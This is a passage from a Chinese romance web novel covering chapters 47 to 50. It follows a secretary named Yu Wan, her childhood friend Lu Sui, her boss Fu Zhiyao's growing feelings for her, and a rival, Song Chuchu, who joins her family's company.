走了没几步,虞晚脸上笑容骤然扩大,若春华般亮眼,像是发生了什么她自己都觉得诧异惊奇的事,而傅知尧脚步无端加快,长腿迈着,显露出几分难得的慌乱。
很快,两人进了路边停着的一辆汽车,消失在视线范围内。
宋楚楚迟迟无法将自己视线挪开,她心中有种说不出的落寞。
毕业后,她没有选择进自家公司,反而投简历去了傅氏,是想试试自己的实力和上限。
意料之中的,她顺利通过面试,入职成为一名行政部实习生。
实习期间,她工作不说有多么积极,但至少从没犯过错,所以转正名额里必然有自己,这点她是肯定的。
但在转正到来之前,她被莫名其妙调去了后勤部,她去问季主管,季主管说是人事部的安排,她去人事部找何总监,何总监用什么她做事细心更适合后勤部的理由打发她。
谁不知道公司里最难晋升的部门就是后勤部,工作内容琐碎,得不到领导关注,宋楚楚气急又毫无办法,只能主动离职。
离职这段时间,宋楚楚一直赋闲在家,收到决风哥和虞晚那张照片后,她委托人调查,搞清楚了虞晚和决风哥之间的关系。
虞晚和决风哥同一个孤儿院长大。
七岁那年决风哥被陆家收养,改了名字,从陆随变成陆决风,和虞晚一连十八年未曾见面,没有任何交集,直到今年三月份,两人才在孤儿院碰面。
宋楚楚想不明白的点就在这里。
如果两人感情深厚,为什么十八年不见面不联系,如果感情浅薄,又为什么会相约一起吃饭聊天,虞晚还收下了决风哥送给她的礼物。
陆决风被陆家收养时,宋楚楚不过五岁的年纪。
第一次在陆家看到陆决风,他穿着白色衬衫和黑色背带裤,嘴唇紧抿,皮肤白净,小脸表情认真又严肃,和满脸匪气性格霸道的陆屿森不同,他始终安安静静坐在沙发上,像一尊玉面菩萨。
那天宋楚楚全程盯着陆决风看,还被陆夫人打趣问是不是看上了陆决风,要不要嫁到她家当儿媳,宋楚楚那时年纪小,听不懂陆夫人的意思,但也知道她是在说自己,红着脸躲进妈妈的怀里。
她大学刚毕业那年,决风哥已经在陆氏工作了将近四年,宋父生意资金链出了点问题,是陆决风不顾压力为宋家注资,力挽狂澜,让两家在生意上的来往更为深入。
陆夫人好几次有意无意提出让两人相处看看,都被陆决风轻描淡写带过。
宋楚楚原本就对决风哥喜欢自己这件事存疑,只是决风哥身边从没出现过任何异性或者亲密对象,总让她觉得自己是特殊的,有希望,可如今虞晚出现了,宋楚楚内心不由得开始动摇。
决风哥真的会如她所愿和她在一起吗?
宋楚楚朝陆决风看去,刚好对上他缓缓收回的目光,正是虞晚和傅知尧离开的方向。
宋楚楚拉了拉陆决风的衣角,直白询问:“决风哥,你认识她吗?她叫虞晚。”
陆决风没有回答。
宋楚楚咬咬唇,自顾自说着:“我原来不是在傅氏实习吗?虞晚和我是同批进入公司的实习生,她是孤儿院长大的,好像是被父母遗弃的,性格有些木,不怎么爱说话,之前和我们其中一位实习生发生了点不愉快,最后逼得那位实习生离开了公司,大家都在说她处事方式太强硬……”
宋楚楚一边说一边注意陆决风,但男人表情没有一丝变化,面容一如既往的清冷温和,等宋楚楚说完,他垂眸看了眼手表,“楚楚,时间不早了,我送你回家。”
轻描淡写地带过,反而让宋楚楚加重了猜测。
宋楚楚垂着眼,心底情绪沉重,她从喉咙里艰难挤出一句话:“决风哥,你认识虞晚对吗?那你喜欢虞晚吗?”
陆决风没有直接回答,“走吧,再晚回家,你妈妈会担心的。”
回到家,宋楚楚头一次没跟陆决风道别说晚安,解开安全带,闷头往自家别墅里跑,步伐飞快,宋母喊她的声音也不理会。
关上房门,宋楚楚越想越不爽,她不是好糊弄的小孩,不直面回答就是一种回答。
她只是想不明白,为什么又是虞晚?
最初她对傅知尧有兴趣时,傅知尧选了虞晚当秘书,她辞职离开傅氏,听从妈妈的话好好和决风哥相处,决风哥却拒绝了她的约会邀请,转头和虞晚一起吃饭。
宋楚楚自己都没察觉到她眼神中酝酿的愤恨,直到门口传来敲门声才将宋楚楚从情绪中唤醒。
宋楚楚知道一定是妈妈于荷雅,她起身去洗手间假装卸妆。
门外于荷雅说:“楚楚,我可以进来吗?”
“进来吧,妈妈。”
于荷雅推开门,看到宋楚楚对着镜子摘假睫毛,笑了笑,“刚刚叫你,是问你想不想喝点血燕再睡觉,跑那么快干什么,也不怕摔着。”
“太累了嘛。”面对于荷雅,宋楚楚总是会不自觉撒娇,“想快点卸妆睡觉。”
在她家,父亲这个角色基本是个摆设,宋父年纪比于荷雅大了将近十二岁,在她之前有过一任妻子,两人结婚时,宋楚楚已经出生了,那时的于荷雅不过二十二岁,是典型的老夫少妻组合。
自宋楚楚有记忆以来,宋父很少在家,对她和妈妈两人的关心更是少之又少,就算每月回家也不过是例行公事般问候两句,除了工作需要,带着妈妈出席宴会,营造恩爱夫妻形象,和她,和妈妈,几乎毫无交流。
于荷雅对宋父在家外面的生活从不过问,于荷雅甚至坦然告诉她,只要宋父不在外面闹出私生子就行,反正家里始终留有一笔给她的财产,可以保障她日后生活的无忧无虑。
这也让宋楚楚在对于荷雅依赖之余,多了一点对母亲婚姻的同情。
如果要结婚,宋楚楚只想和自己喜欢同时也喜欢自己的人结婚,如果不是双向奔赴的爱情,对她而言有什么意义。
她不如单身一辈子。
等宋楚楚卸完妆,于荷雅还没走,她在帮宋楚楚整理房间内零散的东西,将她包包里的手机等物品拿出来,擦干净包包放回衣帽间。
宋楚楚换了套睡衣,坐在沙发上看于荷雅给她收拾房间。
于荷雅端来炖煮好的红枣血燕窝,看宋楚楚小口小口喝着,抬手给她整理了耳侧的头发,一双带着岁月痕迹的眸子温柔注视着她,“怎么了,和你决风哥的约会不顺利吗?”
宋楚楚喝汤的动作慢了些,她摇摇头:“不是。”
她和陆决风今日的约会相当顺利,可以说陆决风今天下午的时间全部被她支配,一起吃西餐,一起逛商场,一起散步,最后,决风哥送她回家。
宋楚楚对今日的约会十分满足,但她的满足止步于见到虞晚和傅知尧。
她不知道要不要将这件事告诉于荷雅。
如果告诉妈妈,于荷雅肯定会像当初解决她身边算计她的朋友一样干脆利落,狠狠为她出一口气,可最后的结果就是没几个人愿意和她当朋友,还暗地里说她妈妈是个疯子。
她妈妈那么爱她,怎么可能是个疯子。
只是这次情况有些复杂,虞晚和决风哥毕竟没有真正的关系,如果决风哥知道她妈妈出手参与,会不会生气,会不会斥责她不懂得分寸感,进而和她疏远。
想到这里,宋楚楚便决定暂时不要告诉于荷雅。
宋楚楚调整表情,露出一个笑容,俏皮地带过话题:“妈妈,你是想知道我们今天约会去了哪些地方吗?”
于荷雅养了宋楚楚二十三年,怎么会不明白自己女儿每个表情变化的含义,楚楚有所隐瞒,不过,应该不是什么大问题。
她相当体贴地翻过这个话题:“好啦,小年轻的约会我一个老太婆关注干什么?”
宋楚楚打断她佯装生气反驳:“谁说妈妈是老太婆了,我第一个反对,妈妈明明是世界第一大美女!”
于荷雅脸上笑容更深,“好了,楚楚,妈妈来找你是想问你,还想不想工作,我给你找了一个还算不错的差事。”
宋楚楚好奇:“什么差事?”
于荷雅道:“你爸集团旗下的一个公司,最近和陆家有个合作项目,负责人就是陆决风,刚好你从傅氏辞职了,时间空闲充足,要妈妈说,何必去其他公司证明自己呢,自家公司就不错,现在你试过了,也证明了自己的能力,是时候从项目做起,准备接手你爸爸的公司了。”
于荷雅了解宋楚楚,自家女儿从小生活富贵顺遂,没遇到过任何挫折和波澜,即便有,她也会在暗处为楚楚兜底。
但在公司管理这一块,于荷雅帮不了宋楚楚,她计划让宋楚楚在自家公司从小项目做起,历练一两年,再去国外学习工商管理方面的课程,顺理成章接替宋父的位置,会不会做项目不要紧,能管好手下员工,让员工为她办事就行。
宋楚楚抿抿唇,有些犹豫。
接手宋父的公司,成为女总裁?
宋楚楚似乎从没考虑过这条路径,她想起傅总那个雷厉风行的未婚妻郁瑾潼,心头豁然明朗。
是啊,她何必发愁傅知尧和虞晚的关系,傅知尧可是有未婚妻的,她不该将重点放在虞晚和傅知尧身上。
宋楚楚对自己的能力有充分认知,她心思不够狠,不够老谋深算,不具有决策力和领导力,做做项目或许能行,但要是让她现在继承她爸公司,不出一年,公司就要破产倒闭。
可如果她和陆决风结婚,有了陆决风的支持,一切将迎刃而解。
没有谁会想一辈子屈居他人之下,在陆家,陆父有亲生儿子陆屿森,陆决风终归是个外人,和她结婚,入赘她们宋家,陆决风就有了自己的决策权,不必再受掣制。
两相对比,陆决风肯定会选后者。
她只需要给出信号,静静等待陆决风的选择。
而虞晚,孤儿院出身,无权无势,说到底不过是个小秘书,能被傅知尧选中就已经是她最大的幸运了。
她不必,也不该放在眼里。
宋楚楚心头的结终于梳理开,她看向于荷雅,笑着点头:“好呀,我听妈妈你的。”
第48章
虞晚没让傅知尧送到小区门口,让老板在超市附近的道路边停车。
路灯半明半昧的光透进车内,傅知尧目不斜视,侧脸轮廓深邃立体,神情矜贵高傲。
虞晚知道老板是在为刚才的事情羞窘,不敢笑得太明显,下车前提醒他。
虞晚:“老板,文件在副驾台上,您记得拿。”
“嗯。”
傅知尧转过脸看虞晚,眸光沉沉。
虞晚一秒会意:“老板,谢谢你送我回家,回去路上注意安全。”
“嗯。”
车子启动,缓缓汇入车流。
虞晚拎着包包站在原地,等老板的车消失在街角才进入超市选购。
这个点超市里没什么新鲜菜,但打折的东西不少,虞晚挑挑选选,买了些甜品、零食和饮料。
拎着东西往家走,在小区门口看到了一道笔挺的身影,借着路灯的光,虞晚看清是谁。
“陆随哥。”虞晚诧异出声,“你怎么在这儿?”
陆随转过身,他怀里是一束鲜妍漂亮的花,衬得男人眉目清隽干净,笑容温和:“虞晚,我没打扰你吧,我正准备将花放到门卫室。”
虞晚视线落到陆随抱着的那束鲜花上,摇摇头:“你怎么没给我发消息,等很久了吧?”
“没有很久,今天工作忙,下班的时候已经很晚了,你一个女孩子在家,我也不好随便上楼,想着把花送到门卫室就给你发消息。”
这点虞晚知道,孤儿院见面后两人交换过联系方式,但陆随一直很有分寸感,从不对她的隐私过多询问。
虞晚搬家前,他主动发消息询问需不需要帮忙,虞晚拒绝后他没有执着,只是送给了虞晚一个搬家礼物,一个招财猫样式的储蓄罐,十分符合虞晚想要赚钱的心理。
储存罐价格不贵,虞晚自然是开心收下。
今天她生日,陆随哥带花过来却没想着上楼,虞晚有种如果自己晚点回家,他会一直等下去的错觉。
想起自己在港城做的那个梦,虞晚喊了陆随一声,“陆随哥,你能不能等等我,我把东西放好马上就下来,我有东西要给你。”
陆随温和地笑了笑,单手抱着花束,另一只手自然地接过虞晚手中的购物袋,“可以,我帮你拿。”
小区门口到单元楼不过百米的距离,购物袋不重,虞晚拎得动,但她没有拒绝陆随的好意。
“好,谢谢陆随哥。”
虞晚速度很快,回家后将购物袋和花束放到岛台上,去房间拿好东西就下楼,出门前脚步一顿,又将置物架上的驱蚊喷雾捎上,这才乘电梯下楼。
推开单元楼的大门,陆随就站在路灯下,一身白色休闲衬衫配黑色长裤,陆随身形好,宽肩长腿,身高一米八往上,简单的衣服也显得格外贵气,衬衫是长袖,纽扣一丝不苟系到脖颈,露出一小截脖颈,好似完全不怕热。
只是人过分清瘦了些,如果不是陆随说自己是汽车销售,虞晚都要以为他是秀场上的模特,毕竟有些奢侈品品牌就偏好骨架清瘦的男模特。
正是夏夜,户外蚊子多,虞晚拿着驱蚊喷雾,弯腰在陆随裤腿边喷了喷,随后给自己身上也来了几下。
“好了,这样就没蚊子咬了。”
陆随微笑着看她动作,“谢谢。”
“不客气。”
虞晚另一只手还背在身后,她仰头看着陆随。
梦境中那个高傲小男孩的脸逐渐和陆随重合,但比起小时候,现在的陆随温柔随和,性格变化实在大,是因为现在收养陆随哥的家人对陆随哥很好吗?又或者陆随哥本就是个温柔的人。
虞晚不确定自己还会不会想起以前的记忆,也不确定陆随是否记得以前的事情,但对上陆随的眼,她可以肯定,他记得。
“陆随哥,时间不早了,外面还有些热,我长话短说,今天是我生日,谢谢你送我花,上次去孤儿院,我从林妈妈那里得知了你的生日,刚好在我生日后第二天,所以我准备了礼物要送你。”
虞晚说:“后天生日你肯定会和你的家人一起过,我不好打扰你,现在提前把礼物送给你,希望你不要觉得失去神秘感。”
虞晚说到家人这个词汇时,陆随眼眸闪了闪,很快被他掩盖过去。
难怪前几天虞晚会在手机上询问他的住址信息。
虞晚背在身后的手伸出来,她
双手举着一个长方形礼盒放到他面前,“生日礼物。”
陆随接过来,“谢谢,我能打开看看吗?”
“当然可以。”
礼盒被打开,里面静静躺着一条深蓝色条纹领带。
虞晚特意去实体店挑选的,花了她一万三呢,原本她想送陆随实用点的手表,但一万多的男士手表不比女士手表好看,虞晚挑挑选选也没找到合适的,而好看点的男士手表价格往十万上跳,虞晚不想打肿脸充胖子,最终选了一条领带。
陆随是做汽车销售的,平日里穿正装的次数多,一条昂贵点的领带肯定能为他增色不少,不过陆随哥长得好看,一条领带可发挥的作用寥寥无几。
陆随看着那条领领带,唇角微微上扬,嗓音有些哑,“我很喜欢,谢谢。”
两人没聊多久,陆随注意到虞晚鬓边的汗水,约定好下次一起去孤儿院的时间,便让虞晚上楼。
虽说夜晚温度不比白天高,但这会儿没风,站着格外燥热。
等到六楼虞晚所在的客厅窗户亮起灯,陆随才转身离开。
回到车上,他颤抖着手,将瓶子里的药丸倒出来,一口吞下去,车上没有水,他吞咽得十分费力,仰着头,尖锐的喉结上下滚动,呼吸声变得粗重,衬衫领口被他解开几颗纽扣,露出的肌肤布满伤疤,狰狞可怖。
副驾驶上摆着三份资料。
一份是屿风集团上半年的财务报表,一份是国外知名做空机构的资料,最后一份被压得严严实实,什么都看不到。
十分钟后,陆随神色恢复平静,他系上衬衫纽扣,重新开车上路,行驶到偏僻的道路,他停下车,在路边一把火烧了第三份资料。
浓郁的火光中,陆随的漆黑的眸光跟着摇曳起来,面容变得不甚清晰-
虞晚的周末生活过得相当愉快。
周六一整天和朋友腻在一起嗨,周日睡到大中午起床,将周六的剩菜热了吃一吃,还悠闲地追了两集最近播出的热门古装剧,豪横地冲了vip会员,并且发到群聊里炫耀,让大家随意借用她的会员账号。
孙柠、赖言栩和毛新灵三人沉默几秒,一个比个甩出来的视频会员多。
对比之下,只有一个视频软件会员的虞晚显得尤其可怜。
虞晚:“……”
这不过是一个生活重点小插曲,虞晚并不会放在心上,让她没想到的是,真正倒霉的事情还在后面。
周末两天充满电,周一虞晚精气神十足抵达公司,刚放下包包,就收到老板的消息——
他带着蔡秘书去国外出差,要一个星期后才能回国,接下来一个星期不用给他订餐。
虞晚:“……”
天塌了。
天真的塌了。
虞晚指的并不是不给老板订餐这件事让她天塌了,而是她手上还有和信远生物制药集团的合作没解决,傅知尧这一走,顺便还将合作这事全权交给了她。
问题就出在这儿,她没经验啊!
虽说她先前或多或少参与到合作中,但虞晚不是话事人,不需要主导合作节奏,她是作为辅助存在配合推动项目进行,换而言之,就算她的决策或者选择有问题,也能及时被同事纠正,她本人承担的责任完全在她可接受的安全范围内。
现在倒好,摆在她面前的合作案不是小打小闹的几十万、几百万,而是几千万!
虞晚扪心自问,自己能承担起老板这样的信任吗?
深呼吸几个来回,虞晚冷静地审视合作项目,揣摩傅知尧的心理,觉得傅知尧将这次合作项目交给她出于三个理由:
第一,她全程跟进了和泽域集团的合作,对医疗平台方面的运作流程和内容了解深入;第二,信远生物制药是郁瑾潼的公司,合作方是老熟人,不用担心她会怯场;第三,她进入总裁办,跟在傅知尧身边将近七个月,这是对她工作能力的考验。
如果连老熟人这样有过交情的合作都谈不好,那之后的合作项目基本和她无缘。
这不仅是信任,也是一次试炼。
就在虞晚为合作绞尽脑汁时,坐在飞机头等舱的傅知尧正在闲情逸致地翻阅杂志,他在等虞晚给她发消息。
一本无聊的时尚杂志粗粗翻完,虞晚还没回复消息。
傅知尧蹙眉,拿起手机,盯着聊天界面看了半天,确认不是网络不好,修长的手指一动,点进了虞晚的朋友圈。
虞晚不是一个爱发朋友圈的人,最初加上联系方式时,傅知尧下意识点进她朋友圈想要借此来看看她是个什么样的人,但虞晚朋友圈一片空白,连运动步数都没有打开,以至于傅知尧一度对虞晚是个什么样的人猜测颇多。
孤儿院长大,靠着政府和好心人的捐赠成长,不孤僻阴郁,不自卑退缩,肯上进,懂用心,不谄媚讨好不卑躬屈膝,不沉迷享乐也不过分苛待自己。
如果处境相同,他能做到比虞晚更好吗?
视线凝在手机上。
第一条朋友圈是前天下午一点多发的,在某个精致的花园餐厅吃饭的照片,六张照片,三张是花园餐厅的环境和菜品,余下三张都是合照。
虞晚穿着素色旗袍,被女性朋友拥在中央,手里捧着一个约莫六寸的小蛋糕,戴着金灿灿的生日帽,一双眼眼睛弯成月牙,苹果肌饱满充盈,妆容比平日更为精致,眼尾化了深黑色眼线,眉毛似乎也修过,更为细长古典,很适合她。
第二条朋友圈是晚上九点多发的,这回环境换了,木质家具背景,整体风格舒适温馨,看样子,应该是在虞晚租住的房子里拍的。
有她朋友洗小龙虾时用龙虾钳子吓唬人的画面,有满桌丰盛的美食画面,有玩游戏在脸上贴纸条的画面,最后一张是虞晚的单人照。
她站在岛台前切菜,昏黄的灯光从她头顶倾洒,笼下一道柔和的光晕,她偏头看向镜头,眼睛微微睁大,表情有些呆,长发绾成个丸子绑在后脑勺,耳侧有两缕头发落在纤瘦的锁骨上,露出光洁的额头,像颗圆润的鸡蛋。
傅知尧放大看了看,喉咙里溢出一声浅浅的笑,不期然注意到她身后的一束花,笑容一僵。
第49章
花束摆放在靠近冰箱的橱柜上,包装精致,白玫瑰和洋桔梗相间,夹着几枝含苞待放的茉莉,和虞晚生日当天匿名人送的那束并不一样。
这说明有另一个人给她送花,是谁,虞晚的朋友?还是那天和虞晚一起吃饭的男人?
傅知尧还没想清楚,过道另一侧的蔡秘书忽然站起身走到他旁边,傅知尧当即倒扣手机,不紧不慢掀眸看他,动作优雅从容。
蔡杨:“……”-
【老板藏手机藏那么紧干什么,我也不会偷看,……额,该不会是什么见不得人的……】
“怎么了?”傅知尧问。
心声被打断,蔡杨将手机递到傅知尧面前,那是一段聊天记录。
蔡秘书:“是虞晚,她向我确认老板你是不是真的把信远制药的合作交给她了。”
傅知尧扫了眼。
比对他,虞晚和蔡秘书说话时多了几分亲密感,具体表现在她的语言措辞上。
虞晚:【!!!蔡秘书你和老板出差去了?一个星期后才能回来!?】
虞晚:【蔡秘书,老板是真的把合作交给我了吗,我一个人?他没开玩笑吧![晕倒]】
蔡杨:【不,老板没开玩笑,虞秘书,你已经是个成熟的秘书了,你得学会接受。】
虞晚:【[大哭]jpg.】
虞晚:【好的,我已经接受了这个事实,蔡秘书,麻烦你给我传授一点经验,我刚从档案室将之前的合作案资料拿出来,准备先捋一捋合作项目大致流程,好确定接下来的合作方向。】
蔡杨看着傅知尧:“老板,你觉得我该怎么回复?”
傅知尧瞥他一眼,重新翻看起手边的杂志:“虞晚没问我,你该怎么回复就怎么回复。”
蔡杨慢半拍眨了眨眼,他怎么觉得老板这句话里怨夫气息十足呢,还是他单纯地想多了。
蔡杨拿着手机回到座位,琢磨片刻,将自己先前负责项目的经验倾囊相授。
他和虞晚一样,习惯性总结做过的工作,因此,没费什么功夫,将自己之前记在备忘录的一些相关资料发给虞晚,末尾附上一句话。
蔡杨:【虞晚,你要是实在搞不定,直接找老板,老板不是那种把项目丢给你就完全不过问的人,你记得每天给他发消息汇报进程,相信我,要是哪里做得不对,老板绝对会纠正的。】
虞晚:【收到!】
傅知尧倒扣在桌板上的手机振动一下,傅知尧拿起手机,看到虞晚发来的消息。
虞晚:【谢谢老板信任,我会努力的!】
傅知尧没回她这条消息,再次点进虞晚朋友圈,对着虞晚仅有的那张单人照进行研究,反复放大角落的那束花。
等反应过来自己在做什么时,傅知尧猛然一惊,毫不犹豫将手机熄屏,表情严肃,双手交叉抵在下巴处。
虞晚收到几束花和他有什么关系,到底是谁送的又关他什么事。
在这里对着一张照片研究这些有的没的,完全不像他。
他怕是疯了。
傅知尧眉头紧皱,脑子里两方想法天人交战了几个来回才停歇,他端起空姐送来的拿铁喝了一口,想要冷静下来,却总觉得味道寡淡,半点比不上他原先喝的,甚至都比不上虞晚冲的那杯‘柯基’,就这么几秒的时间,他脑子里再次浮现虞晚的身影。
虞晚总是会提前一小时到公司,工作半小时,半小时后下楼买早餐,一周之内,确保一周内早餐不重样,买完早餐进他办公室,不需要他提醒,主动帮忙收拾桌上凌乱的文件,清扫书柜上的浮尘,将用完的杯子洗干净消毒,检查洗手台边洗手液余量是否充足,将洗手台角落的熏香换新,打开新风系统换气,角落里常年被忽略的两株绿植被她照顾得葱郁漂亮,修剪枯枝,擦去叶面轻尘,前段时间她还带了一小袋鸡蛋壳磨成的粉末给土壤施肥。
这么想来,全是细微末节的小事,但自从总裁办有了虞晚,他就再没为这些小事操过心。
可他更震惊自己,分明是小事,为什么他记得这么牢,彷佛每个场景都在他眼前上演过一遍。
傅知尧甩甩脑袋,努力想将虞晚的身影从脑海内摆脱,但越是控制自己不想,大脑就越是被虞晚牢牢霸占。
傅知尧最终摸了摸自己的心脏,觉得它可能出了点毛病。
不然,那天怎么就鬼使神差地说出了那句生日快乐。
总裁办内。
虞晚的情绪在经历最初的激荡恐慌后平静下来,她从档案室借来公司先前和信远医药合作的项目资料,按照笨办法,借鉴学习。
既然是和信远医药的合作,比对之前的合作项目,大体上的合作流程肯定是相似的,由于此次引入了第三方平台,所以合作相对复杂一些,但事情要一件一件来,不能心急。
虞晚将需要做的事情依次在便签上写好,整理前后顺序,用胶水贴在笔记本上。
确定好要做的事情后,虞晚的心安稍稍安定了几分,她猛地灌了一口冰美式,苦涩的滋味让她瞬间清醒,撸起因为开了空调穿着的长袖,眼神是视死如归的坚定。
公司里那么多前辈,办公室里有蔡秘书,办公室外还有老板和蔡秘书,就像是蔡杨说的,老板不可能看着她把合作项目搞砸,她要做的就是考察合作方,确认对应药物的生产资质,药物临床试验情况以及供应、运输问题。
这些可不是小问题,她不能因为公司先前与信远制药合作过几次就彻底对合作伙伴放心。
人和公司是不一样的,她对郁小姐的敬佩只针对她个人,一个公司实在是太大了,如果有心人在背后搞事,她却因为信任跳过对这些问题的核实,最后出了麻烦,造成的几千万上亿的损失不是她能负担起的。
虞晚对这次合作十分上心,花了一个上午的时间重新详细地梳理合作资料,打印、分类、标记,又花了两天的时间跟随郁瑾潼助理江博把工厂和实验室摸了个遍,一边观察一边记录。
江助理累得腰酸,虞晚还有精神写笔记,开车送虞晚回家的路上,江助理忍不住感慨:“虞秘书,你精力真好,很适合干这一行。”
虞晚不好意思笑笑,“是我贪心,想了解得细致一点,麻烦江助理陪我跑一趟。”
江助理不介意这个,“郁总吩咐过,让我好好听从虞秘书安排,虞秘书了解详细点无可厚非,对我们双方之后的合作都有好处,麻烦什么,不麻烦,有任何需求虞秘书直说就是。”
虞晚真诚道过谢,继续埋头写笔记。
这次去工厂探查只有她一人,但后续合作需要不同部门的人配合,虞晚根据今天实地勘察的结果及时调整接下来要做的事情,针对计划书进行修改。
简单在笔记本上记录下来,虞晚预备回家后发给傅知尧过目,毕竟是第一次负责处理合作项目,虞晚不敢太莽撞,万一有错误还能及时纠正。
整理完,车子抵达虞晚租住的佳苑小区。
虞晚下车后同江助理道谢,回到她的小房子里。
尽管是租来的房子,随着虞晚的入住,一点点添置了许多具有生活化气息的东西。
虞晚先前对购买各式各样的可爱摆饰和餐具等一点兴趣都没有,总觉得漂亮的摆饰除了观赏没什么大用,盘子和碗筷什么的能用就行,何必买那些有花里胡哨图案的餐具。
这次生日后,毛新灵送的全套带樱桃和花边的餐盘让她每日简单的早餐变得格外有仪式感,赖言栩送的半人高手办摆件放在电视机旁边,填补了电视柜角落的空白,孙柠送的是腰部按摩仪,每天晚上躺在床上刷手机的时候,按摩仪就发挥了大作用。
这让虞晚恍然明白朋友们对精致可爱物件追求的原因,生活和工作实在是枯燥乏味,一点斑斓的色彩,恰恰点亮了尚未被消磨的期许。
洗完澡出来,虞晚看到手机上林妈妈发来的消息。
林妈妈:【虞晚,你说想找你小时候的东西,但你也知道,你八岁时我才进入心爱孤儿院,那时对你们几个孩子了解不多,后来你成年考上大学,送你离开孤儿院时我问过你,你说东西都拿好了,没有遗漏,我这边找了找,只有几张合影,你下次来孤儿院,我拿给你看。】
虞晚回复:【好的,谢谢林妈妈,等我这阵子忙完就去心爱看您。】
从港城回来后,她心头隐隐有个猜测,为什么当初穿书的会是她,难道仅仅是因为长相相似、经历相似?
又或者,她本身就是原主。
怀抱着这种想法,虞晚仔细检查了一遍原主留下来的东西,又拜托林妈妈帮忙。
不管穿书这件事多么奇妙,一个人的思维始终是不可复制的,世界上不可能存在两个全然一样的人。
她执着追寻谜题的真相并不是不满被迫交换身份的戏弄,她只是对自己丢掉的记忆耿耿于怀。
林妈妈在原主八岁时成为心爱孤儿院院长,在林妈妈之前的那位院长钱妈妈,正是因为虐待儿童被人举报,进了监狱。
而恰巧,虞晚记得自己八岁前被那个很凶的孤儿院院长用木棍抽小腿和屁股的事情,但让虞晚说出那位院长的长相和名字,她偏偏忘得一干二净。
她不记得陆随是谁,却在梦到珍珠糯米丸当晚,在梦境中和小时候的陆随一齐躲在柜子里,醒来后有关梦境的记忆并未消除,反而真实得像是发生过。
从心爱孤儿院遇到陆随开始,
虞晚发现了太多太多,这辈子和上辈子可以对应上的巧合。
抛去所有不可能,唯一剩下的可能性,就是真相。
第50章
只是虞晚不明白,如果她就是原主,她丢失的记忆是怎么回事,为什么会丢失。
以傅知尧和宋楚楚为主角的小说又是怎么回事?难道是她看完某本小说后的自我想象?
可她从不看小说。
这些事情虞晚暂时不清楚,但她不着急,将乱七八糟的思绪丢到一边,打开空调降温。
徐徐凉风从出风口落下,卧室霎时变得凉快,虞晚抓紧时间吹干头发。
陆随哥在她生日当天送她的那束白玫瑰花被她拆开包装纸装进了深口花瓶中,但白天她不在家,没开空调,尽管她出门前特意将花放在温度稍低的浴室,花瓣还是因为缺水有些蔫。
虞晚摸了摸花瓣,给花束换了一遍水,摆到梳妆桌上。
收拾好自己,擦完护肤品,虞晚将长发夹起,盘腿坐在床上,打开小桌板,用电脑将今日工作进程汇总,发给傅知尧。
这个时间点,老板那边大概是晚上八点左右。
傅知尧消息回得并不快,虞晚关灯准备睡觉时,消息忽然跳出来,手机屏幕亮光在漆黑的房间格外明显。
老板回复风格依旧高冷简要。
老板:【今天还算顺利?】
虞晚打开小夜灯,靠在床头回复消息:【比较顺利,江助理人很好,他带着我将工厂走了一遍,我对整个生物制药公司运作流程有了大致的了解,这点我在发给您汇报文件里也有提到。】
虞晚:【明天我会去信远公司和郁总详谈,后续进程我也会按时发给您,如果有什么问题,麻烦老板您不吝啬给我纠正。】
老板:【嗯。】
虞晚盯着那个‘嗯’字看了好半天,将手机放下,设定好空调关闭时间,闭眼投入梦乡-
宋楚楚进公司的过程相当顺利。
母亲于荷雅没隐瞒她宋总女儿的身份,在她看来,女儿不过刚毕业,对社会、人心了解不够深刻,如果让她像原先在傅氏工作那般低调,结果就是被调入后勤部,成为一个默默无闻的小员工。
而那些历经千辛万苦和百般挫折才能成长的案例,她不会让自己女儿重复。
能享福又为什么要吃苦。
她之所以愿意忍受宋父的出轨和变心不过是仰仗他的财富,能给女儿和她带来优渥的生活,人在得到一部分东西时必须学会舍弃一部分东西,她比宋楚楚多了将近二十二年的阅历,更清楚钱的重要性。
宋父现在老了,宋家需要新鲜血脉,身为孤儿,有能力和手腕且不被陆家重视的陆决风自然是最佳人选。
让宋楚楚负责对接项目,也是想撮合两人。
感情无非就是一见钟情和日久生情两种,前者看脸,后者重相处细节,宋楚楚是她看着长大的孩子,个性至纯至美,对陆决风来说,何尝不是一种易于掌控,就算他暂时对楚楚没那个心思,在周围富家小姐中转一圈,最终还是会选择楚楚。
于荷雅要做的就是在两人结婚时准备好婚前协议,保障女儿宋楚楚的财产归属,以免被吃绝户。
但于荷雅千算万算也没算到,屿风集团那边的项目负责人不是陆决风,而是陆屿森。
听到包厢门被推开的声音,宋楚楚一脸欣喜地抬起脑袋,看到穿着西装散漫走进来的陆屿森,脸上表情和吞了苍蝇一样,语气难掩嫌弃。
“怎么是你!?”
陆屿森早料到宋楚楚会是这么个反应,皮笑肉不笑地问:“不是我还能是谁,你的情哥哥陆决风?”
宋楚楚一噎,抱臂靠着座椅,“呵,我的问题,我太吃惊了,反而忽略了一个事实,以你的能力,的确只能做做这种小项目。”
陆屿森大马金刀坐下来,斜着眼看宋楚楚,一脸看猴子耍戏的表情,讥诮道:“是啊,我好歹还做过几个小项目,而你呢,是一个只会走后门,美其名曰锻炼自己,结果不到三个月就从傅氏离开的骄傲白天鹅宋楚楚。”
“你懂什么,我是自主动辞职的!”
宋楚楚肺都要气炸了。
早知道这个项目是和陆屿森对接,她绝不会自讨苦吃过来,谁愿意每天身边有只嗡嗡响恶心人的苍蝇在飞。
两尊大佛掐架,身后的助理大气不敢出,陆屿森视线扫过宋楚楚铁青的脸,让两人的助理去催催后厨上菜。
不到十秒,包厢内只剩下他和宋楚楚。
作为屿风集团的总裁,陆屿森大概是最有自知之明的总裁,他知道老头把这个头衔让给他的原因,但他更知道自己有几斤几两,重要项目都是让副总裁陆决风去做,他则捡着一些不大不小的项目处理,勉强维持自己总裁头衔的合理性,不至于天天被董事会那群古板的老头们挑刺指责。
这次的项目原本陆宗信是让陆决风来做,但陆屿森负责的项目出了点纰漏,单凭他无法解决,便拜托给他亲爱的弟弟。
是以,陆屿森才会坐在这里看没脑子的宋楚楚表演气急败坏。
老头子对陆屿森可以说是委以重任,刚成年就带着他参加饭局,强迫他做项目,而陆决风还是大学快毕业时才让他进的公司,什么特殊待遇都没有,直接让他从底层做起,就差直接将他送去工地上搬砖扛沙。
而他当时已经刷够了脸,西装革履出席各种会议,迎接众人夸奖和赞美,公司官网上定期更新他出席的照片,陆宗信还让公关部经营着和他有关的社交账号,将一些能加强人印象的‘最帅富三代’‘低调有实力’等浮夸的标签往他身上贴,势必要把他培养成屿风集团的一张名片。
